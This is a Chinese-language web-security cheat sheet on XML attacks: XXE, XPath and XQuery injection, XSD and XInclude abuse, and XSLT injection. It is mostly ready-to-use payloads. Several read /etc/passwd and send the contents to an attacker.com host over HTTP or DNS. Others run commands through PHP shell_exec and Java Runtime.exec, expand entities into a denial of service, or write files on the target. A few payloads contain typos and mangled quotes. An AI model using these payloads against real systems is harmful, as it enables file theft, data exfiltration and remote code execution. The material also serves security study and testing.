简介 XXE(XML External Entity, XML 外部实体),在一个 XML 文档中,攻击者可以直接控制 DTD 中 XML 实体的定义,引用外部实体,导致 SSRF。
使用 XML 的地方有:
文档格式 OOXML, ODF, PDF, RSS, DOCX… 
图片格式 SVG, EXIF Headers… 
配置文件 
网络协议 WebDAV, CalDAV, XMLRPC, SOAP, REST, XMPP, SAML, XACML… 
 
XXE 特征:
PHP: simplexml_load_file, xml_parse, simplexml_load_string 
Java: DOM, SAX, JDOM, DOM4J 
Python: SAX, DOM, ElementTree 
 
在某些 xml 解析器中,尽管禁用了外部实体,但是解析器会在 DTD 定义阶段就对 URL 进行请求,但是不会展开该实体。
 
XXE 有以下几种利用方法(以文件读取为例)。
普通实体   引用外部普通实体。
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE a[     <!ELEMENT b (#CDATA )>      <!ENTITY c SYSTEM  "file:///etc/passwd" >  ]> <a > <b > &c; </b > </a > 
注意:元素类型主要有 PCDATA 和 CDATA 两种,PCDATA 中的文本会被当成 XML 解析,CDATA 中的文本则不会。定义 b 为 CDATA 来避免 &c; 中出现特殊字符导致 XML 解析器解析失败而报错。
 
当要读取的文件中存在一些复杂的字符(例如/etc/fstab),可能会引起 xml 解析器报错时,可以使用参数实体拼接绕过,如下所示。
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE a[     <!ENTITY % start  "<![CDATA[" >      <!ENTITY % goodies  SYSTEM  "file:///etc/fstab" >      <!ENTITY % end  "]]>" >      <!ENTITY all  "%start;%goodies;%end;" >  ]> <a > &all; </a > 
参数实体外部 DTD 利用参数实体引用外部 DTD 文件。
注意:参数实体只能在 DTD 中引用,不能在声明前引用,也不能在实体声明内部引用。
 
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE a[     <!ELEMENT b (#CDATA )>      <!ENTITY % c SYSTEM  "http://attacker.com/evil.dtd" >      %c; ]> <a > <b > &d; </b > </a > 
其中 evil.dtd 的内容如下。
1 <!ENTITY d SYSTEM  "file:///etc/passwd" > 
普通实体外部 DTD 通过普通实体引用外部 DTD 文件。
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE a[     <!ELEMENT b (#CDATA )>      <!ENTITY c SYSTEM  "http://attacker.com/evil.dtd" >  ]> <a > <b > &d; </b > </a > 
其中 evil.dtd 的内容如下。
1 <!ENTITY d SYSTEM  "file:///etc/passwd" > 
Payload DOS 通过定义数量巨大的实体可以造成 DOS 攻击。
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE a [     <!ELEMENT a (#ANY )>      <!ENTITY a0 "dos"  >      <!ENTITY a1  "&a0;&a0;&a0;&a0;&a0;" >      <!ENTITY a2  "&a1;&a1;&a1;&a1;&a1;" >  ]> <a > &a2;</a > 
a2 会被扩展为很多 a1,每个 a1 又会被扩展为很多 a0,这样的嵌套扩展会严重拖慢 XML 解析器的速度。
SSRF 外部实体引用可以访问一个 URL,造成 SSRF,通过 SSRF 可以读取文件,攻击内网等。
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE a [     <!ELEMENT a (#ANY )>      <!ENTITY b SYSTEM  "http://a.com/" >  ]> <a > &b; </a > 
XXE 盲注   无回显的情况下可以将数据通过 HTTP 发送到远程服务器。
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE root [     <!ENTITY % file  SYSTEM  "file:///etc/passwd" >      <!ENTITY % remote  SYSTEM  "http://attacker.com/evil.dtd" >      %remote;     %send; ]> 
其中 evil.dtd 的内容如下。
1 2 <!ENTITY % payload  "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>" >  %payload; 
注意要将 % 实体编码为 %
 
攻击流程:
首先展开%remote;,请求远程服务器中的evil.dtd。 
展开 evil.dtd 中的%payload;。 
展开 evil.dtd 中的%send;。 
展开 %send; 中的%file;,读取文件。 
最后调用 %send;,将展开的%file; 发送到远程服务器中。 
 
在 PHP 环境下可以将数据通过 base64 编码(利用 filter)通过 url 发送到远程服务器以避免 url 坏字符。
 
报错注入   类似 SQL 注入的报错注入,XXE 也可以通过报错注入返回一些额外信息,如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0"  encoding="UTF-8" ?>  <!DOCTYPE message [     <!ELEMENT message  ANY  >      <!ENTITY % NUMBER  '<!ENTITY % file SYSTEM "file:///etc/passwd">       <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">     %eval;     %error;     ' >    %NUMBER; ]>  <message > a</message > 
以下 Payload 可能也会引起 XML 解析器错误:
<!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif>"> %trick;<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;<!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;<!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;<!ENTITY % trick "<!ENTITY % err SYSTEM 'http%pay;:/127.0.0.1/'>"> %trick; %err;<!DOCTYPE html [<!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]> 
SOAP 1 2 3 4 5 <soap:Body >     <foo >          <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>     </foo >  </soap:Body > 
其他 Payload 绕过 
可以用 PUBLIC 代替 SYSTEM,二者完全等价。 
修改文档编码格式,例如 UTF-7,UTF-16等。 
 
其他绕过方法:
1 2 3 <!DOCTYPE :. SYTEM  "http://"  <!DOCTYPE :_-_: SYTEM  "http://"  <!DOCTYPE {0xdfbf} SYSTEM  "http://"  
XML 注入   类似 XSS 中的闭合标签 / 引号。程序将用户输入直接拼接到一个 XML 文档中时,可以通过闭合标签 / 引号的方式注入新的 XML 数据,控制 XML 文档。
XPath 注入 SQL 语言是为了从 SQL 数据库中获取数据而产生的语言,同样为了从 XML 文档中获取数据,产生了 XPath 查询语言。类似 SQL 注入,程序将用户输入直接拼接到一个 XPath 查询语句中,造成 XPath 注入,可以获取 XML 文档的数据,甚至控制 XML 文档。
例如有一个查询语句 /root/users/user[username/text()='attacker' and password/text()='yyyy'],若攻击者将attacker 替换为' or 1=1 or ''=',那么查询语句就变成了/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='yyyy']。该查询语句将一直返回 true,导致查询出所有的 user 信息,由于 XPath 不像 SQL 注入有很多访问控制,XPath 的注入没有太多的限制。
盲注   布尔盲注   在无回显的情况下,XPath 也可以盲注。首先需要获取某个节点下子节点的数量。
1 2 3 4 5 ' or count(/*) = 1 or '1' = '2 ' or count(/*) = 2 or '1' = '2 ' or count(/*) = 3 or '1' = '2 ' or count(/*) = 4 or '1' = '2 ... 
之后爆破出该节点的名字。
1 2 3 4 5 ' or substring(name(/*[position() = 1]),1,1)='a' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='b' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='c' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='d' or '1'='2 ... 
利用同样的方法也可以爆破出节点的属性。
HTTP 外带   在 XPath 2.0 中,提供一个 doc 函数,该函数可以从 web 服务器中请求一个 xml 文档,利用这个 HTTP 请求,可以将数据外带到 web 服务器中。下面的 payload 可以将根节点的名字外带到 web 服务器中。
1 ' or doc(concat("http://attacker.com/?data=", encode-foruri(/*[1]/name()))) or '1'='2 
DNS 外带   同样可以利用 DNS 外带数据,下面的 payload 可以将根节点的名字外带到 DNS 服务器中。
1 ' or doc(concat(encode-foruri(/*[1]/name()), '.attacker.com')) or '1'='2 
常用函数 
count(/root/*) 获取 root 节点下所有子节点的数量。string-length(/*[1]/*[1]/name()) 获取第一个节点下第一个节点的名字的长度。substring(/*[1]/*[1]/name(), 1, 1) 截取第一个节点下第一个节点的名字的第一个字符。lower-case("A") = "a" 用于判断 XPath 版本,此函数在 2.0 中才加入。base-uri() 返回该 XML 文档文件的位置,XPath 2.0 加入。/root/a/text() 获取 root 节点下 a 节点的文本内容。matches(/*[1]/name(), '[A-Z]+')  通过正则表达式验证。string-to-codepoints("abc") 将字符串转换为 Ascii 码(97, 98, 99)。(if 1 then 1 else 0) 条件表达式,可用于布尔盲注。concat('a', 'b') 字符串链接。doc(‘http://attacker.com/a.xml’) 从 web 服务器上读取一个 xml 文档,XPath 2.0 加入。此功能不是默认启用,并且 URI 若不是 xml 文档会报错。encode-foruri('abc') URL 编码,XPath 2.0 加入。 
XPath 语法速查   更多 XPath 知识,参考w3school 。
节点类型 XPath 中将 XML 节点分为以下几种类型:
element 元素 / 节点attribute 属性text 文本namespace 命名空间processing-instruction 处理指令comment 注释root 根节点 
表达式 XPath 通过表达式选取 XML 节点,常用表达式如下:
nodename 选取此节点的所有子节点/ 从根节点选取// 从匹配选择的当前节点选择文档中的节点,不考虑它们的位置. 选取当前节点.. 选取当前节点的父节点@ 选取属性 
例如:
bookstore 选取 bookstore 元素所有的子节点/bookstore 选取根节点 bookstorebookstore/book 选取 bookstore 节点下所有子节点中的 book 节点//book 选取所有的 book 节点,不论在文档中的位置在哪bookstore//book 选取 bookstore 节点中所有后代节点中的 book 节点//@lang 选取名为 lang 的所有属性 
限定语   通过限定语可以选取某个具体的节点,限定语跟在节点后,包裹在方括号中,例如:
/bookstore/book[1] 选取属于 bookstore 子节点中的第一个 book 节点/bookstore/book[last()] 选取属于 bookstore 子节点中的最后一个 book 节点//title[@lang] 选取所有拥有名为 lang 的属性的 title 节点//title[@lang='eng'] 选取所有 title 节点,且这些节点拥有值为 eng 的 lang 属性/bookstore/book[price>3.500]/title 选取 bookstore 节点中的 book 节点的所有 title 节点,且其中的 price 节点的值须大于 35.00 
通配符 XPath 支持部分通配符选择元素:
例如:
/bookstore/* 选择 bookstore 节点下的所有子节点//* 选择文档中所有节点//title[@*] 选择所有带有属性的节点 
多路径查询  XPath 支持使用| 进行多路径查询,例如:
//book/title | //book/price 选择 book 节点下的所有 title 和 price 节点bookstore/book/title | //price 选择属于 bookstore 节点的 book 节点下的所有 title 节点以及文档中所有 price 节点 
XQuery 注入  XQuery 是 XPath 的超集,XQuery 可以赋予 XPath 逻辑编程能力,例如下面的代码会遍历每一个从users 中查询出的节点,并且返回该节点下的 username 节点。
1 for  $user  in  //users[@role='admin' ] return  $user /username
若上述查询中,admin字符串可控,那么就可以注入 XPath 查询甚至 XQuery 代码,下面的代码利用doc,循环便利整个 xml 文档,将所有整个文档发送到攻击者的服务器中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for  $n in  /*[1 ]/*    let $x := for  $att in  $n/@* return (concat(name($att), "=" , encode-for -uri($att)))     let $y := doc(concat(         "http://attacker.com/?name=" , encode-for -uri(name($n)),          "&data=" , encode-for -uri($n/text()),         "&attr_" , string-join($x,"&attr_" )     ))     for  $c in  $n/child::*         let $x := for  $att in  $c/@* return (concat(name($c), "=" , encode-for -uri($c)))         let $y := doc(concat(             "http://attacker.com/?child=1&name=" , encode-for -uri(name($c)),             "&data=" , encode-for -uri($c/text()),             "&attr_" , string-join($x,"&attr_" )         ))  
Exist-DB 是一个类似 SQLite 的本地 xml 数据库,可以通过 XQuery 进行查询。不同于其他数据库,Exist-DB 使用 HTTP 接口进行查询,例如 REST, XML-RPC, WebDAV 和 SOAP。更多 XQuery 知识,参考w3school 
XSD 注入 XSD (XML Schema Definition) 是一种用来描述 XML 文档元素的定义方法,可以用来代替 DTD,比 DTD 更加强大,功能也更多。更多 XSD 知识,请参考w3school 
XSD schemaLocation 1 2 3 4 5 6 7 8 9 10 11 12 <?xml version ="1.0"  encoding="UTF-8" ?> <!DOCTYPE data  [     <!ENTITY % remote  SYSTEM  "http://attacker.com/evil.dtd" >      %remote; ]> <ttt:data       xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"      xmlns:ttt ="http://attacker.com/attack"      xsi:schemaLocation ="ttt http://attacker.com/&internal; " > 4</ttt:data > 
其中 evil.dtd 中的内容为:
1 2 3 <!ENTITY % payload  SYSTEM  “file:///etc/passwd”> <!ENTITY % param1  “<!ENTITY internal  ‘%payload;’> ”>%param1; 
XSD noNamespaceSchemaLocation 1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0"  encoding="UTF-8" ?> <!DOCTYPE data  [     <!ENTITY % remote  SYSTEM  "http://attacker.com/evil.dtd" >      %remote; ]> <data       xmlns:xsi =”http://www.w3.org/2001/XMLSchema-instance”      xsi:noNamespaceSchemaLocation =”http://attacker.com/&internal;” > </data > 
其中 evil.dtd 中的内容为:
1 2 3 <!ENTITY % payload  SYSTEM  “file:///etc/passwd”> <!ENTITY % param1  “<!ENTITY internal  ‘%payload;’> ”>%param1; 
XSD Include/import 1 2 3 4 5 6 <?xml version ="1.0"  encoding="UTF-8" ?> <xs:schema  elementFormDefault ="qualified"  xmlns:xs ="http://www.w3.org/2001/XMLSchema"  xmlns:myNS ="myNS" >     <xs:import  namespace ="myNS"  schemaLocation ="http://attacker.com/evil.xsd" />      <xs:include  namespace ="myNS2"  schemaLocation ="http://attacker.com/evil.xsd" />  </xs:schema > 
XInclude 
XInclude 需要手动开启。
 
1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0"  encoding="UTF-8" ?> <!DOCTYPE data  [     <!ENTITY % remote  SYSTEM  "http://attacker.com/evil.dtd" >      %remote; ]> <data       xmlns:xi =”http://www.w3.org/2001/XInclude” >     <xi:include  href =”http://attacker.com/&internal;”  parse =”text” > </xi:include >  </data > 
其中 evil.dtd 中的内容为:
1 2 3 <!ENTITY % payload  SYSTEM  “file:///etc/passwd”> <!ENTITY % param1  “<!ENTITY internal  ‘%payload;’> ”>%param1; 
XSD 报错 1 2 3 4 5 <?xml version ="1.0"  encoding="UTF-8" ?> <xs:restriction  base ="xs:string" >     <xs:pattern  value ="&xxe; "  />  </xs:restriction > 
XSLT 注入 XSLT (EXtensible Stylesheet Language Transform),是一种扩展样式表转换语言,可以将 XML 转换为其他类型的语言。更多 XSLT 知识,请参考w3school 。
获取 XSLT 信息 1 2 3 4 5 6 7 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:template  match ="/" >     XSLT Version: <xsl:value-of  select ="system-property('xsl:version')"  />      XSLT Vendor: <xsl:value-of  select ="system-property('xsl:vendor')"  />      XSLT Vendor URL: <xsl:value-of  select ="system-property('xsl:version-url')"  />  </xsl:template > 
XSLT Stylesheet 1 2 3 4 <?xml version ="1.0"  encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl"  href="http://attacker.com/evil.xsl" ?> <doc > </doc > 
XSLT Include/import 1 2 3 4 5 6 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:stylesheet  version ="1.0"  xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" >     <xsl:import  href ="http://attacker.com/evil.xsl" />      <xsl:include  href ="http://attacker.com/evil.xsl" />  </xsl:stylesheet > 
XSLT 读取文件   可读取合法的 xml 文件,或者普通文件的第一行
1 2 3 4 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:value-of  select ="document('test.xml')"  /> <xsl:value-of  select ="document('file:///secret.txt')"  /> 
将读取到的文件发送到远程服务器中:
1 2 3 4 5 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:variable  name ="name1"  select ="document('file:///etc/passwd')"  /> <xsl:variable  name ="name2"  select ="concat('http://attacker.com/?', $name1)"  /> <xsl:variable  name ="name3"  select ="document($name2)"  /> 
XSLT RCE libxslt + php 环境:
1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:stylesheet  version ="1.0"      xmlns:xsl ="http://www.w3.org/1999/XSL/Transform"      xmlns:php ="http://php.net/xsl" >                <xsl:output  method ="html"  />      <xsl:template  match ="/" >          <xsl:value-of  select ="php:function('shell_exec', 'sleep 10')"  />      </xsl:template >  </xsl:stylesheet > 
Xalan-Java 环境:
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version ="1.0"  encoding="UTF-8" ?> xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process" <xsl:variable  name ="rtobject"  select ="runtime:getRuntime()"  /> <xsl:variable  name ="process"  select ="runtime:exec($rtobject, 'sleep 5')"  /> <xsl:variable  name ="waiting"  select ="process:waitFor($process)"  /> <xsl:value-of  select ="$process"  /> <xsl:variable  name ="osversion"  select ="jv:java.lang.System.getProperty('oname')" /> <xsl:value-of  select ="$osversion"  /> 
Xalan 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:stylesheet      xmlns:xsl ="http://www.w3.org/1999/XSL/Transform"      xmlns:jv ="http://xml.apache.org/xalan/java"      exclude-result-prefixes ="jv"  version ="1.0" >     <xsl:template  match ="/" >          <root >              <xsl:variable  name ="osversion"  select ="jv:java.lang.System.getProperty('os.name')" />              <xsl:value-of  select ="$osversion"  />          </root >      </xsl:template >  </xsl:stylesheet > 
Saxon EE 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:stylesheet      xmlns:xsl ="http://www.w3.org/1999/XSL/Transform"  version ="1.0"      xmlns:date ="java:java.util.Date"  xmlns:runtime ="java:java.lang.Runtime"  xmlns:process ="java:java.lang.Process" >     <xsl:output  method ="text"  />      <xsl:template  match ="/" >          Date: <xsl:value-of  select ="date:new()"  />          <xsl:variable  name ="rtobject"  select ="runtime:getRuntime()"  />          <xsl:variable  name ="process"  select ="runtime:exec($rtobject, 'sleep 5')"  />          <xsl:variable  name ="waiting"  select ="process:waitFor($process)"  />          <xsl:value-of  select ="$process"  />      </xsl:template >  </xsl:stylesheet > 
XSLT 连接数据库 Xalan-Java 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:param  name ="driver"  select = "'com.mysql.jdbc.Driver'"  /> <xsl:param  name ="dbUrl"  select ="'jdbc:mysql://localhost/xslt'"  /> <xsl:param  name ="user"  select ="'xsltuser'"  /> <xsl:param  name ="pw"  select ="'xsltpw'"  /> <xsl:param  name ="query"  select ="'select test from xtable'"  /> <xsl:template  match ="/" >     <xsl:variable  name ="dbc"  select ="sql:new($driver, $dbUrl , $user, $pw)"  />      <xsl:variable  name ="table"  select ="sql:query($dbc, $query)"  />      <xsl:value-of  select ="$table/*"  />      <xsl:value-of  select ="sql:close($dbc)"  />  </xsl:template > 
XSLT 写入文件   若写入成功,则无任何输出,写入失败则报错。
Saxon 环境:
1 2 3 4 5 6 7 <?xml version ="1.0"  encoding="UTF-8" ?> <xsl:template  match ="/" >         <xsl:result-document  href ="local_file.txt" >              <xsl:text > Hello World to local file.</xsl:text >          </xsl:result-document >    </xsl:template >  
Xalan-Java 环境:
1 2 3 4 5 <xsl:template  match ="/" >     <redirect:open  href ="local_file.txt"  />      <redirect:write  href ="local_file.txt" > Hello world to local file.</redirect:open >      <redirect:close  href ="local_file.txt"  />  </xsl:template > 
libxslt 环境:
1 2 3 4 5 <xsl:template  match ="/" >     <exsl:document  href ="local_file.txt" >          <xsl:text > Hello World to local file.</xsl:text >      </exsl:document >  </xsl:template > 
Saxon PE/Saxon EE 环境:
1 2 3 4 5 <xsl:variable  name ="file"  as ="xs:string"  select ="'local_file.txt'"  /> <xsl:variable  name ="text"  as ="xs:string"  select ="'Hello World to local file.'"  /> <xsl:template  match ="/" >     <xsl:sequence  select ="file:append-text($file, $text)"  />  </xsl:template > 
其他可以写入文件的函数有file:append-text(), file:move(), file:copy(), file:delete(), file:exists(), file:is-file(), file:is-dir(), file:read(), file:write()